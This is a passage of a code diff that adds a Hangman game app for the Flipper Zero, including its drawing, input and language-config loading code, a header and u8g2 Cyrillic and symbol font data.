+        for(uint8_t i = 0; i < app->lang->keyboard_cols; i++) {
+            uint8_t x = 42 + i * glyph_w * 1.85;
+            uint8_t n = j * app->lang->keyboard_cols + i;
+
+            if(n > app->lang->letters_cnt - 1) {
+                break;
+            }
+
+            uint16_t ch = app->lang->unicode_base + app->lang->letters[n];
+
+            if(app->opened[n] != HangmanOpenedInit) {
+                canvas_set_custom_u8g2_font(canvas, u8g2_font_6x12_m_symbols);
+                ch = app->opened[n] == HangmanOpenedNotFound ? 0x2717 : 0x2713; // ✕ : ✓
+            }
+
+            if(n == app->pos) {
+                canvas_draw_glyph(canvas, x - 1, y, ch); // Made bold
+            }
+
+            canvas_draw_glyph(canvas, x, y, ch);
+
+            if(app->opened[n]) {
+                canvas_set_custom_u8g2_font(canvas, u8g2_font_6x12_t_cyrillic);
+            }
+        }
+    }
+}
+
+void hangman_draw_word(Canvas* canvas, HangmanApp* app) {
+    canvas_set_custom_u8g2_font(canvas, u8g2_font_6x13B_t_cyrillic);
+
+    uint8_t glyph_w = canvas_glyph_width(canvas, ' ');
+    uint8_t gap = app->lang->keyboard_gap;
+
+    uint8_t center_x = (canvas_width(canvas) - (glyph_w + gap) * strlen(app->word)) / 2;
+
+    uint8_t h = canvas_current_font_height(canvas);
+    canvas_set_color(canvas, ColorBlack);
+
+    for(uint8_t i = 0, x = center_x; i < strlen(app->word); i++) {
+        if(app->opened[app->word[i] - app->lang->first_letter_offset]) {
+            canvas_set_color(canvas, ColorBlack);
+            canvas_draw_glyph(
+                canvas,
+                x,
+                h,
+                app->word[i] + app->lang->unicode_base -
+                    app->lang->first_letter_offset); // convert to UCS-2
+        }
+
+        canvas_set_color(canvas, ColorXOR);
+        canvas_draw_glyph(canvas, x, h + 1, '_');
+
+        x += glyph_w + app->lang->keyboard_gap;
+    }
+}
+
+void hangman_draw_menu(Canvas* canvas, HangmanApp* app) {
+    canvas_set_custom_u8g2_font(canvas, u8g2_font_6x12_t_cyrillic);
+
+    uint8_t max_txt_w = 0;
+    for(uint8_t i = 0; i < app->menu_cnt; i += 2) {
+        uint8_t txt_w = hangman_string_length(app->menu[i]);
+        if(txt_w > max_txt_w) {
+            max_txt_w = txt_w;
+        }
+    }
+
+    max_txt_w *= canvas_glyph_width(canvas, ' ');
+    uint8_t txt_h = canvas_current_font_height(canvas);
+
+    uint8_t w = max_txt_w + 30;
+    uint8_t h = txt_h * app->menu_cnt / 2 + 6;
+    uint8_t x = (canvas_width(canvas) - w) / 2;
+    uint8_t y = (canvas_height(canvas) - h) / 2;
+
+    hangman_window(canvas, x, y, w, h);
+
+    uint8_t txt_x = (canvas_width(canvas) - max_txt_w) / 2;
+
+    for(uint8_t i = 0, menu_item = 0; i < app->menu_cnt; i += 2, menu_item++) {
+        uint8_t txt_y = y + (menu_item + 1) * txt_h;
+
+        canvas_set_color(canvas, ColorBlack);
+
+        if(menu_item == app->menu_item) {
+            canvas_draw_box(canvas, x, txt_y - txt_h + 3, w, txt_h);
+            canvas_invert_color(canvas);
+        }
+
+        hangman_draw_utf8_str(canvas, txt_x, txt_y, app->menu[i]);
+    }
+}
+
+void hangman_render_callback(Canvas* canvas, void* ctx) {
+    HangmanApp* app = (HangmanApp*)ctx;
+
+    canvas_clear(canvas);
+
+    if(app->menu_show) {
+        hangman_draw_menu(canvas, app);
+    } else if(app->lang != NULL) {
+        hangman_draw_word(canvas, app);
+        hangman_draw_gallows(canvas, app);
+        hangman_draw_keyboard(canvas, app);
+
+        if(app->eog != HangmanGameOn) {
+            if(app->eog == HangmanGameLoose) {
+                hangman_text_window(canvas, app->lang->message_ok, app->lang->message_loose);
+            } else {
+                hangman_text_window(canvas, app->lang->message_ok, app->lang->message_won);
+            }
+            app->need_generate = true;
+        }
+    }
+}
+
+void hangman_input_callback(InputEvent* input_event, void* ctx) {
+    furi_assert(ctx);
+
+    FuriMessageQueue* event_queue = ctx;
+    furi_message_queue_put(event_queue, input_event, FuriWaitForever);
+}
+
+void hangman_choice_letter(HangmanApp* app) {
+    if(strchr(app->word, app->lang->letters[app->pos] + app->lang->first_letter_offset) == NULL) {
+        if(app->opened[app->pos] != HangmanOpenedNotFound) {
+            app->gallows_state++;
+            app->opened[app->pos] = HangmanOpenedNotFound;
+
+            if(app->gallows_state >= HANGMAN_GALLOWS_MAX_STATE - 1) {
+                app->eog = HangmanGameLoose;
+
+                // Open the non-guessed letters
+                for(uint8_t i = 0; i < strlen(app->word); i++) {
+                    int letter = app->word[i] - app->lang->first_letter_offset;
+
+                    if(app->opened[letter] != HangmanOpenedFound) {
+                        app->opened[letter] = HangmanOpenedNotFound;
+                    }
+                }
+            }
+        }
+    } else {
+        app->eog = HangmanGameWin;
+        app->opened[app->pos] = HangmanOpenedFound;
+
+        // Checking if all letters were opened
+        for(uint8_t i = 0; i < strlen(app->word); i++) {
+            if(app->opened[app->word[i] - app->lang->first_letter_offset] != HangmanOpenedFound) {
+                app->eog = HangmanGameOn;
+                break;
+            }
+        }
+    }
+}
+
+void hangman_clear_state(HangmanApp* app) {
+    app->pos = 0;
+    app->gallows_state = HANGMAN_GALLOWS_INIT_STATE;
+    app->need_generate = false;
+    app->eog = HangmanGameOn;
+
+    if(app->word != NULL) {
+        free(app->word);
+    }
+
+    if(app->lang != NULL) {
+        memset(app->opened, HangmanOpenedInit, app->lang->letters_cnt);
+        app->word = hangman_get_random_word(app->lang->dict_file);
+    }
+}
+
+int hangman_read_int(Stream* stream) {
+    FuriString* line = furi_string_alloc();
+
+    if(!stream_read_line(stream, line)) {
+        furi_crash(NULL);
+    }
+
+    int result = strtol(furi_string_get_cstr(line), NULL, 10);
+    furi_string_free(line);
+    return result;
+}
+
+char* hangman_read_str(Stream* stream) {
+    FuriString* line = furi_string_alloc();
+
+    if(!stream_read_line(stream, line)) {
+        furi_crash(NULL);
+    }
+
+    furi_string_trim(line);
+    char* result = strdup(furi_string_get_cstr(line));
+    furi_string_free(line);
+    return result;
+}
+
+char* hangman_add_asset_path(const char* filename) {
+    FuriString* full_path = furi_string_alloc_set_str(APP_ASSETS_PATH(""));
+    furi_string_cat_str(full_path, filename);
+
+    const char* file_full_path = furi_string_get_cstr(full_path);
+    char* result = strdup(file_full_path);
+    furi_string_free(full_path);
+    return result;
+}
+
+HangmanLangConfig* hangman_load_config(char* meta_file) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    Stream* stream = file_stream_alloc(storage);
+    FuriString* line = furi_string_alloc();
+    HangmanLangConfig* config = malloc(sizeof(HangmanLangConfig));
+
+    if(!file_stream_open(stream, meta_file, FSAM_READ, FSOM_OPEN_EXISTING)) {
+        furi_crash(NULL);
+    }
+
+    if(!stream_read_line(stream, line)) {
+        furi_crash(NULL);
+    }
+    config->dict_file = hangman_add_asset_path(furi_string_get_cstr(line));
+    config->keyboard_cols = hangman_read_int(stream);
+    config->keyboard_gap = hangman_read_int(stream);
+    config->first_letter_offset = hangman_read_int(stream);
+
+    // letters
+    config->unicode_base = 0xFFFF;
+    config->letters_cnt = 0;
+
+    const char* token = hangman_read_str(stream);
+    while(*token && config->letters_cnt < HANGMAN_MAX_ALP_SIZE) {
+        char* end;
+        int num = strtol(token, &end, 16);
+        if(num == 0) break;
+
+        config->letters[config->letters_cnt++] = num;
+        if(config->unicode_base > num) config->unicode_base = num;
+
+        if(*end == ' ') {
+            token = end + 1; // +1 because of space
+        } else {
+            break;
+        }
+    }
+
+    config->keyboard_rows = ceil((float)config->letters_cnt / config->keyboard_cols);
+
+    for(int i = 0; i < config->letters_cnt; i++) config->letters[i] -= config->unicode_base;
+
+    config->message_ok = hangman_read_str(stream);
+    config->message_won = hangman_read_str(stream);
+    config->message_loose = hangman_read_str(stream);
+
+    furi_string_free(line);
+    file_stream_close(stream);
+    stream_free(stream);
+    furi_record_close(RECORD_STORAGE);
+
+    return config;
+}
+
+void hangman_load_lang(HangmanApp* app) {
+    char* meta_file = hangman_add_asset_path(app->menu[app->menu_item * 2 + 1]);
+    app->lang = hangman_load_config(meta_file);
+    free(meta_file);
+}
+
+HangmanApp* hangman_app_alloc() {
+    HangmanApp* app = malloc(sizeof(HangmanApp));
+    furi_hal_random_init();
+    app->menu_item = 0;
+
+    app->menu = hangman_menu_read(&app->menu_cnt);
+    if(app->menu_cnt & 1 || app->menu_cnt < 2) {
+        furi_crash(NULL);
+    }
+
+    app->menu_show = app->menu_cnt > 2;
+    if(!app->menu_show) {
+        hangman_load_lang(app);
+    }
+
+    hangman_clear_state(app);
+
+    app->view_port = view_port_alloc();
+    view_port_draw_callback_set(app->view_port, hangman_render_callback, app);
+    app->gui = furi_record_open(RECORD_GUI);
+    gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
+
+    app->event_queue = furi_message_queue_alloc(10, sizeof(InputEvent));
+    view_port_input_callback_set(app->view_port, hangman_input_callback, app->event_queue);
+
+    return app;
+}
+
+void hangman_app_free(HangmanApp** app) {
+    furi_assert(*app);
+
+    view_port_enabled_set((*app)->view_port, false);
+    gui_remove_view_port((*app)->gui, (*app)->view_port);
+    view_port_free((*app)->view_port);
+
+    furi_record_close(RECORD_GUI);
+    furi_message_queue_free((*app)->event_queue);
+
+    hangman_free_menu_data((*app)->menu, (*app)->menu_cnt);
+
+    if((*app)->word != NULL) {
+        free((*app)->word);
+    }
+    if((*app)->lang != NULL) {
+        free((*app)->lang->dict_file);
+        free((*app)->lang->message_ok);
+        free((*app)->lang->message_loose);
+        free((*app)->lang->message_won);
+        free((*app)->lang);
+    }
+
+    free(*app);
+}

+ 82 - 0
non_catalog_apps/hangman_game/helpers/hangman.h

@@ -0,0 +1,82 @@
+#pragma once
+
+#define HANGMAN_GALLOWS_MAX_STATE 7
+#define HANGMAN_GALLOWS_INIT_STATE 0
+#define HANGMAN_MAX_ALP_SIZE 0xFF
+#define HANGMAN_MAX_MENU_SIZE 5
+
+#define HANGMAN_MENU_FILE APP_ASSETS_PATH("menu.txt")
+
+#include "hangman_icons.h"
+
+#include <math.h>
+#include <gui/gui.h>
+#include <gui/elements.h>
+#include <furi.h>
+#include <storage/storage.h>
+#include <toolbox/stream/stream.h>
+#include <toolbox/stream/file_stream.h>
+#include <furi_hal_random.h>
+
+typedef enum {
+    HangmanOpenedInit,
+    HangmanOpenedFound,
+    HangmanOpenedNotFound,
+} HangmanOpened;
+
+typedef enum {
+    HangmanGameOn,
+    HangmanGameWin,
+    HangmanGameLoose,
+} HangmanGameResult;
+
+typedef struct {
+    char* dict_file;
+    uint16_t unicode_base;
+    uint8_t first_letter_offset;
+    uint8_t letters_cnt;
+    uint8_t keyboard_cols;
+    uint8_t keyboard_rows;
+    uint8_t keyboard_gap;
+    uint16_t letters[HANGMAN_MAX_ALP_SIZE];
+    char *message_ok, *message_won, *message_loose;
+} HangmanLangConfig;
+
+typedef struct {
+    Gui* gui;
+    ViewPort* view_port;
+    FuriMessageQueue* event_queue;
+    char* word;
+    uint8_t pos;
+    uint8_t gallows_state;
+    HangmanOpened opened[HANGMAN_MAX_ALP_SIZE];
+    bool need_generate;
+    HangmanGameResult eog;
+    HangmanLangConfig* lang;
+    bool menu_show;
+    int8_t menu_item;
+    size_t menu_cnt;
+    char** menu;
+} HangmanApp;
+
+void hangman_app_free(HangmanApp** app);
+void hangman_render_callback(Canvas* canvas, void* ctx);
+HangmanApp* hangman_app_alloc();
+void hangman_draw_gallows(Canvas* canvas, HangmanApp* app);
+void hangman_clear_state(HangmanApp* app);
+void hangman_text_window(Canvas* canvas, char* ok, char* txt);
+void hangman_window(Canvas* canvas, uint8_t x, uint8_t y, uint8_t w, uint8_t h);
+void hangman_draw_utf8_str(Canvas* canvas, uint8_t x, uint8_t y, const char* str);
+
+size_t hangman_string_length(const char* str);
+
+char** hangman_menu_read(size_t* menu_size);
+void hangman_free_menu_data(char** lines, size_t menu_size);
+void hangman_draw_menu(Canvas* canvas, HangmanApp* app);
+
+void hangman_load_lang(HangmanApp* app);
+void hangman_choice_letter(HangmanApp* app);
+
+bool hangman_wait_close_window(HangmanApp* app);
+bool hangman_menu_selection(HangmanApp* app);
+bool hangman_main_loop(HangmanApp* app);

+ 465 - 0
non_catalog_apps/hangman_game/helpers/hangman_fonts.h

@@ -0,0 +1,465 @@
+#pragma once
+
+/*
+Fontname: -Misc-Fixed-Medium-R-SemiCondensed--12-110-75-75-C-60-ISO10646-1
+Copyright: Public domain terminal emulator font.  Share and enjoy.
+Glyphs: 387/4531
+BBX Build Mode: 0
+*/
+
+const uint8_t u8g2_font_6x12_t_cyrillic[4739] =
+    "\203\0\3\2\3\4\3\5\4\6\14\0\376\7\376\10\377\1B\2\206\3\256 \5\0j\7!\7\71C"
+    "\307\240\4\42\7\233VGb\11#\15\65BOePJI\62(\25\0$\16M>W\266T\224l"
+    "K\224\312\26\1%\12=B\207\64e\235&\1&\15=BO\226DIVI\244H\11'\6\31W"
+    "\307\0(\13\313>W\22%Q-\312\2)\14\313>G\26eQ%J\42\0*\13=BW\245\262"
+    "eKS\4+\12-FW\30\15R\30\1,\10\33>\217\62$\0-\6\15N\307 .\6\222B"
+    "\307\20/\12=Bg\26f\305,\4\60\12\274B\217\22yJ\24\0\61\10\273BO\42u\31\62\12"
+    "=B\317\222\205Y\333 \63\14=B\307 f\231\252%\13\0\64\14=B_&%\245d\320\302\4"
+    "\65\13=B\307qHC-Y\0\66\14=B\227\224\205C\222i\311\2\67\13=B\307 fa\26"
+    "\226\0\70\14=B\317\222i\311\222i\311\2\71\14=B\317\222i\311\20f\221\4:\10\252B\307\20"
+    "\15\1;\11\63>\217Q\31\22\0<\7\253FWR+=\10\35J\307\240\16\2>\10\253FGV"
+    ")\1\77\12=B\317\222\65\346P\4@\15=B\317\222)C\222(C\272\0A\13=B\317\222i"
+    "\303\220\331\2B\15=B\307\20U\242d\252D\203\2C\12=B\317\222\211m\311\2D\17=B\307"
+    "\20U\242$J\242$\32\24\0E\13=B\307\61\34\222\60\34\4F\12=B\307\61\34\222\260\10G"
+    "\13=B\317\222\211\245-Y\0H\12=BGf\33\206\314\26I\10\273B\307\22u\31J\12=B"
+    "\327\26\266D\221\4K\15=BG&%%-\211*Y\0L\10=BG\330\343 M\12=BG"
+    "\266,\211\346\26N\14=BG\246MJ\42mZ\0O\12=B\317\222yK\26\0P\14=B\307"
+    "\220d\332\240\204E\0Q\13=B\317\222\271$R\244\4R\15=B\307\220d\332\240\224*Y\0S"
+    "\13=B\317\222\251\253\226,\0T\11=B\307 \205=\1U\11=BG\346[\262\0V\13=B"
+    "G\346\226\224\222,\2W\12=BG\346%Q\272\0X\13=BG\246%\265JM\13Y\12=B"
+    "G\246%\265\260\11Z\12=B\307 f\35\7\1[\10\313>\307\20\365i\134\11=BG\32\246\305"
+    "\64]\10\313>\307\324\247!^\10\35VW\226\324\2_\6\15:\307 `\6\233VGVa\12-"
+    "B\317\232\14Z\62\4b\14=BG\30\16If\33\24\0c\12-B\317\222\211Y\262\0d\12="
+    "Bge\320l\311\20e\12-B\317\222\15J\272\0f\12=B\227T\311\266\260\6g\14=:\317"
+    "\222\331\222!L\26\0h\12=BG\30\16I\346\26i\10\273BO(\265\14j\12\314:_\254\265"
+    "I\211\2k\13=BGX\223\222\251\222\5l\10\273B\207\324\313\0m\13-B\207\322\242$J\242"
+    "\24n\11-BGb\322l\1o\11-B\317\222\331\222\5p\14=:\307\220d\266A\11C\0q"
+    "\12=:\317\240\331\222!,r\11-BGb\22\213\0s\11-B\317\240\36\24\0t\12=BW"
+    "\30\15RX\25u\11-BG\346\244(\1v\12-BGfKj\21\0w\12-BGfI\224"
+    ".\0x\12-BG\226\324*\265\0y\12=:GfKj\215\0z\11-B\307\240\265\15\2{"
+    "\12\313>W\22U\262\250\26|\6I\77\307\3}\13\313>G\26\325\222\250\22\1~\11\35JO\244"
+    "$R\2\0\0\0\10\4d\4\332\377\377\4\0\16UBO\232\3\307pH\302p\20\4\1\15MB"
+    "Oy\30\303!\11\303A\4\2\17M:\307\26\206S%J\242\60R\0\4\3\12UB_\35\70\366"
+    "\10\4\4\15=B\317\222\211C\22f\311\2\4\5\14=B\317\222\251\253\226,\0\4\6\11\273B\307"
+    "\22u\31\4\7\13\313BG\222-Q\227\1\4\10\13=B\327\26\266D\221\4\4\11\17=B\217\224"
+    "DI\224(\25%\261\0\4\12\20=BG\22%Q\22\15IEI,\0\4\13\15=B\307\26\206"
+    "S%J\242\0\4\14\17UB_\35\310\244\244\244%Q%\13\4\15\16UBO\232\3\231iI&"
+    "M\13\4\16\16UBG\226\314\231[\62\204\311\2\4\17\14M:G\346\333\60\205\21\0\4\20\14="
+    "B\317\222i\303\220\331\2\4\21\16=B\307\220\204\341\220d\332\240\0\4\22\16=B\307\220d\332\240"
+    "d\332\240\0\4\23\11=B\307\261G\0\4\24\20E>\227\224DI\224DI\224$\303\26\4\25\14"
+    "=B\307\61\34\222\60\34\4\4\26\16=BG\222(\225-[*J\1\4\27\15=B\317\222\205\311"
+    "\252%\13\0\4\30\14=BGfZ\222I\323\2\4\31\16UBG\226\314\231iI&M\13\4\32"
+    "\16=BG&%%-\211*Y\0\4\33\17=B\327\22%Q\22%Q\22i\1\4\34\13=B"
+    "G\266,\211\346\26\4\35\13=BGf\33\206\314\26\4\36\13=B\317\222yK\26\0\4\37\11="
+    "B\307\315\267\0\4 \15=B\307\220d\332\240\204E\0\4!\13=B\317\222\211m\311\2\4\42\12"
+    "=B\307 \205=\1\4#\14=BG\346\226\14a\262\0\4$\16=BW\266T\224D\251l\21"
+    "\0\4%\14=BG\246%\265JM\13\4&\21M:G\224DI\224DI\224D\311 \26\4'"
+    "\13=BGfK\206\260\1\4(\20=BG\222(\211\222(\211\222(\311\60\4)\21M:G\222"
+    "(\211\222(\211\222(\311\60\26\4*\14=B\207X\234*Q\262\0\4+\15=BGf\233\224D"
+    "I\246\0\4,\14\274BGV[\42iH\0\4-\15=B\317\222\205\311\20j\311\2\4.\20="
+    "BG\224T\224dH\224DI\244\4\4/\15=B\317\240i\311\20%%-\4\60\13-B\317\232"
+    "\14Z\62\4\4\61\15=B\317\22\16IfK\26\0\4\62\15-B\307\220d\203\222\15\12\0\4\63"
+    "\10-B\307\261\21\4\64\15\65>\227\224DI\224$\303\26\4\65\13-B\317\222\15J\272\0\4\66"
+    "\13-BGR\331\262\245\1\4\67\14-B\317\222EJ\226,\0\4\70\13-BG&-\311\244\5"
+    "\4\71\15EBG\226\314\231\264$\223\26\4:\13\254BG\244$RR\12\4;\14-B\327\22%"
+    "Q\22i\1\4<\13-BG\266,\211\246\5\4=\13-BG\246\15C\246\5\4>\12-B\317"
+    "\222\331\222\5\4\77\10-B\307\315-\4@\15=:\307\220d\266A\11C\0\4A\13-B\317\222"
+    "\211Y\262\0\4B\12-B\307 \205M\0\4C\14=:G\346\226\14a\262\0\4D\17M:W"
+    "\230-\25%Q*[\30\1\4E\13-BG\226\324*\265\0\4F\16=:G\224DI\224D\311"
+    " \26\4G\12-BG\246%CX\4H\15-BG\222(\211\222(\311\60\4I\16=:G\222"
+    "(\211\222(\311\60\26\4J\12-B\207\30N\225\5\4K\13-BG\246MJ\62\5\4L\13\254"
+    "BG\226-\321\220\0\4M\12\254B\307\230lC\2\4N\15-BG\224T\206DI\244\4\4O"
+    "\13\254B\317\20%K\42\5\4P\15EBO\232#K\66(\351\2\4Q\15=BO\35X\262A"
+    "I\27\0\4R\17M:O\266\205S%J\242\60K\0\4S\12EB_\35\70\66\2\4T\12\254"
+    "B\317\220-\341\0\4U\12-B\317\240\36\24\0\4V\11\263BO(U\6\4W\12\263BG\222"
+    "I\225\1\4X\13\304:_\254\325\244D\1\4Y\14-B\217\224D\211R\261\0\4Z\15-BG"
+    "\22%\321\220T,\0\4[\15=BO\266\205S%J\242\0\4\134\14\304BW\71R\22))\5"
+    "\4]\15EBO\232\3\231\264$\223\26\4^\16U:G\226\314\231[\62\204\311\2\4_\13=:"
+    "G\346\66La\4\4`\15=BO\233%Q\22\245\13\0\4a\13-BO\233\222(]\0\4b"
+    "\15=BO\66D\341T\211\222\5\4c\15=BO\230\15Q\70U\26\0\4d\17=BG\264D"
+    "I\64,Q\22E\2\4e\14-BG\264D\303\22E\2\4f\16=BW\226DIm\30\222D"
+    ")\4g\15\65BW\226DIm\30\222\2\4h\17=BG\224DI\62\134\206dH\6\4i\15"
+    "-BG\224D\311\260\14\311\0\4j\17EB\307-)%\321RQ\22\245\0\4k\14\65B\307-"
+    ")-\25\245\0\4l\20FB\307AS\232\242AI\226di\1\4m\16\66B\307!i\212\6%"
+    "YZ\0\4n\20e:O-G\226,\214\324\60Y\322\5\4o\17U:O-G\226,R\223%"
+    "]\0\4p\16=BG\222(\211R\331\302\22\0\4q\14-BG\222(\225-\214\0\4r\15="
+    "B\317\222i\303\220i\311\2\4s\14-B\317\222\15C\226,\0\4t\17=BG&%Q%J"
+    "\242$\213\0\4u\14-BG&U\242$\213\0\4v\21UBG\324\232IIT\211\222(\311\42"
+    "\0\4w\16EBG\324\232I\225(\311\42\0\4x\22M:O\226DI\224\14\311\220,\211\230%"
+    "\0\4y\16=:OrH\206dI\304,\1\4z\15U>W\266T\64/\225-\2\4{\15E"
+    ">W\266T\64Ke\213\0\4|\14MB\317\216\204Q\346\322\5\4}\15=B\317\216DI\242)"
+    "]\0\4~\17UB\307\245\234\324,\211\222(]\0\4\177\15EB\307\245\234\324\224D\351\2\4\200"
+    "\14U:\317\222\31[\307\12\0\4\201\13=>\317\222\211\351X\1\4\202\15\65FW\222%\211T\311"
+    "\222\10\4\203\11\36^\357\60\250\0\4\204\10\26b\317\224\11\4\205\10\25b\317\42\5\4\206\10\25b"
+    "\317\22\11\4\207\10\26b\217\26\15\4\210\21f:O\230\344@\230\344\214\225\34\10\223\0\4\211\16f"
+    ":O\30N\251\316X\234R\1\4\212\20e:G\226\314\231tI\246I+&\0\4\213\17]:G"
+    "\226\314\231iI&\255\230\0\4\214\15EBO\230m\341T\211\222\5\4\215\15=BO\266\205S%"
+    "J\26\0\4\216\16EB\307\220d\226dP\62\61\4\4\217\16E:\307\220d\226dP\62\61\4\4"
+    "\220\13MBg\70\14a\217\0\4\221\13=Bg\70\14a#\0\4\222\15=B\317\220\204\331\20\205"
+    "\65\0\4\223\14-B\317\220dC\24f\0\4\224\14M>\307\61\34\222\314\255\2\4\225\13=>\307"
+    "qH\62[\5\4\226\15N:G\322\237\246\244_\324\2\4\227\15>:GR\32\303)I\324\2\4"
+    "\230\16U:\317\222\205Y\32j\311V\3\4\231\14E:\317\222U\265d\253\1\4\232\20N:G\226"
+    "D\225LL\262\250\26\247\1\4\233\15=:G\224\224\264$\252\206\1\4\234\16=BG\222XJZ"
+    "\22%J\3\4\235\13-BG\222X\246Di\4\236\16=BO\64$MZ\22U\242\0\4\237\16"
+    "EBO\230mQR\322\222\250\0\4\240\17EB\207\224DII\323\222\250\22\5\4\241\13-B\207"
+    "\224\224\264$*\4\242\23U:G\224DI\224\14I\224DI\224Db\1\4\243\16=:G\224D"
+    "\311\220DI$\26\4\244\22EBG\62$Q\22MI\224DI\224D\0\4\245\15-BG\62$"
+    "\321\224DI\4\4\246\23U:\307\224DI\224(\25%Q\22\245\230%\0\4\247\16=:\307\224D"
+    "\211RQ\212Y\2\4\250\17M>\317 FIEI\224\312\226\12\4\251\14=>\317\22FI\313\226"
+    "\12\4\252\15U:\317\222\211\335\222-M\0\4\253\15=:\317\222\211Y\262\245\11\0\4\254\14U:"
+    "\307 \205=\212\25\0\4\255\13=:\307\245\24\206b\5\4\256\13=BG\246%\265\260\11\4\257\13"
+    "=:G\246%\265\260\11\4\260\15=BG\246%\225A\12K\0\4\261\15=:G\246%\225A\12"
+    "K\0\4\262\20N:G\226dQ\22V\242,\311\342\64\4\263\15>:G\26%a%\312\342\64\4"
+    "\264\22U:\307RJ\242$J\242$J\242d\10\13\4\265\17E:\307RJ\242$J\242d\10\13"
+    "\4\266\20U:G\224DI\224DI\24\215\241X\4\267\15E:G\224DI\24\215\241X\4\270\17"
+    "EBGfI\224\312\20%Q\22\6\4\271\14\65BGf\251\14Q\22\6\4\272\13=BG\30\16"
+    "I\346\26\4\273\13\274BGV[\42S\0\4\274\17EB\227T\211\222hX\302(R\0\4\275\15"
+    "\65B\227\24\15K\30E\12\0\4\276\20U:\227T\211\222hX\302(\322\322\4\4\277\16E:\227"
+    "\24\15K\30EZ\232\0\4\300\11\303B\307\22\365\62\4\301\21UBG\226\314I\242$Je\251("
+    "\211R\4\302\15EBG\226\314Ie\313\226\6\4\303\20M:G&%%-\211*Y\30)\0\4"
+    "\304\15<:G\244$RR\312\22\5\4\305\21U:\327\22%Q\22%Q\22iZ\61\1\4\306\15"
+    "=:\327\22%Q\22i\305\4\4\307\16U:Gf\33\206\314-\214\24\0\4\310\15=:G\246\15"
+    "C\246\205\221\2\4\311\15U:Gf\33\206\314\255\230\0\4\312\15=:G\246\15C\246\25\23\0\4"
+    "\313\16U:G\346-\31\302L\13\23\0\4\314\15E:GfK\206\60\323\302\4\4\315\20U:G"
+    "\266\14\311\222(\211f+&\0\4\316\15=:G\266,\211\246\25\23\0\4\317\7\301B\307A\4\320"
+    "\17MBG\226\354\300\222i\303\220i\1\4\321\16EBG\226\354\300\232\14Z\62\4\4\322\16MB"
+    "O\35X\62m\30\62[\0\4\323\15=BO\35X\223AK\206\0\4\324\17=B\317\240DI\64"
+    "$\245$J\6\4\325\13-B\317\226$K\313\2\4\326\16MBG\226\314\303\70$a\70\10\4\327"
+    "\16EBG\226\354\300\222\15J\272\0\4\330\15=B\317\222\205\303\220i\311\2\4\331\13-B\317:"
+    "\14Y\262\0\4\332\17MBO\35X\262p\30\62-Y\0\4\333\15=BO\35X\207!K\26\0"
+    "\4\334\20MBO\71I\224D\251,\25%Q\12\4\335\14=BO\71\251l\331\322\0\4\336\16M"
+    "BO\35X\262\60R\265d\1\4\337\15=BO\35X\262H\311\222\5\4\340\14=B\307\240\325V"
+    "-Y\0\4\341\14=:\307\240\325V-Y\0\4\342\15MB\307\240f\246%\231\64-\4\343\15="
+    "B\307\240f\322\222LZ\0\4\344\15MBO\71\63-\311\244i\1\4\345\14=BO\71\223\226d"
+    "\322\2\4\346\14MBO\35X\62o\311\2\4\347\14=BO\35X\62[\262\0\4\350\15=B\317"
+    "\222i\303\220i\311\2\4\351\14-B\317\222\15C\226,\0\4\352\17MBO\35X\62m\30\62-"
+    "Y\0\4\353\15=BO\35X\262a\310\222\5\4\354\15MBOy\255\14a\226L\0\4\355\14\274"
+    "BG\222\216\311\66$\0\4\356\16MB\307\240f&E\11\265d\1\4\357\16M:\307\240f\266d"
+    "\10\265d\1\4\360\16MBO\71\63)J\250%\13\0\4\361\16M:O\71\263%C\250%\13\0"
+    "\4\362\17UBO$\305\231IQB-Y\0\4\363\17U:O$\305\231-\31B-Y\0\4\364"
+    "\14MBO\71\263%C\330\0\4\365\13=BO\71\323\222!,\4\366\12E>\307\261\243\230\1\4"
+    "\367\12\264>\307\240\325\264\10\4\370\16MBO\71\263MJ\242$S\0\4\371\14=BO\71\323&"
+    "%\231\2\4\372\16M:\317\220\204\331\26\206b\226\1\4\373\15=:\317\220d[(f\31\0\4\374"
+    "\16M:G\246%\265JM\13\263\4\4\375\15=:G\226\324*\265\60K\0\4\376\15=BG\246"
+    "%\225Ai\323\2\4\377\13-BG\226T\6\245-\5\0\13=Bge\320l\311\20\5\1\13\274"
+    "B_e\210L\311\0\5\2\16=BW\230II\242$Je\1\5\3\15=BWX\223\222D\251"
+    ",\0\5\4\15=B\207\32Fj\22%Y\2\5\5\14\65B\207\32fQ%K\0\5\6\14L:"
+    "\207\230%b\226i\5\5\7\13D:\207\230Ea\246\25\5\10\20=B\307%J\242$Q\22%\221"
+    "\22\0\5\11\15-B\307%J\242$\221\22\0\5\12\20=BG\22%Q\22-J\242$R\2\5"
+    "\13\15-BG\22%\321\242$R\2\5\14\15=B\317\222\211\321\246%\13\0\5\15\13-B\317 "
+    "F[\262\0\5\16\16=B\307 \205\225(\211\222,\1\5\17\13-B\307 \205\225,\1\5\20\15"
+    "=B\317\240\251R\230%\13\0\5\21\14-B\317\240%R\226,\0\5\22\13>B\307%\352\227\306"
+    "\10\5\23\14\66>\307%\352%\13#\0\5\24\15>B\207\322\77U\272HI\0\5\25\14.B\207"
+    "\322\247J\42%\1\5\26\14=B\207\244$.\65[\0\5\27\14\65>\207\244(%\245&\2\5\30"
+    "\16=B\317\240DI\266\224\222(\31\5\31\13-B\317\322\262\224\42\1\5\32\14=B\317\222\271$"
+    "R\244\4\5\33\13=:\317\240\331\222!,\5\34\13=BG\346%Q\272\0\5\35\13-BGf"
+    "I\224.\0\5\36\16=BG\222HIeK\242J\26\5\37\15-BG\222H\311\42%Y\0\5"
+    " \22N:\207\222%Y\222%R\322EJ\322\60\1\5!\17\66>\207\222%Y\42%\211\224\244\1"
+    "\5\42\22M:G\22%Q\22\15IEI\224b\226\0\5#\17=:G\22%\321\220T\224b\226"
+    "\0\0";
+
+/*
+  Fontname: -Misc-Fixed-Medium-R-SemiCondensed--12-110-75-75-C-60-ISO10646-1
+  Copyright: Public domain terminal emulator font.  Share and enjoy.
+  Glyphs: 467/4531
+  BBX Build Mode: 2
+*/
+
+const uint8_t u8g2_font_6x12_m_symbols[6422] =
+    "\323\2\3\2\3\4\1\2\4\6\14\0\376\7\376\10\377\1|\3\27\11\260 \7\346\370\371O\0!\12"
+    "\346\370\311iw\60\247\0\42\14\346\370\341$K\262$\347\23\0#\17\346\370\31\223h\220\222,\211\6"
+    ")\311\11$\16\346\370\11\341\224t\34\223Nc\16\1%\15\346\370\211R\42\205\235\224H\207\1&\16"
+    "\346\370\251a\222%a\245)Sr\30'\11\346\370\11i\235o\0(\15\346\370)a\32\246\345\64\316"
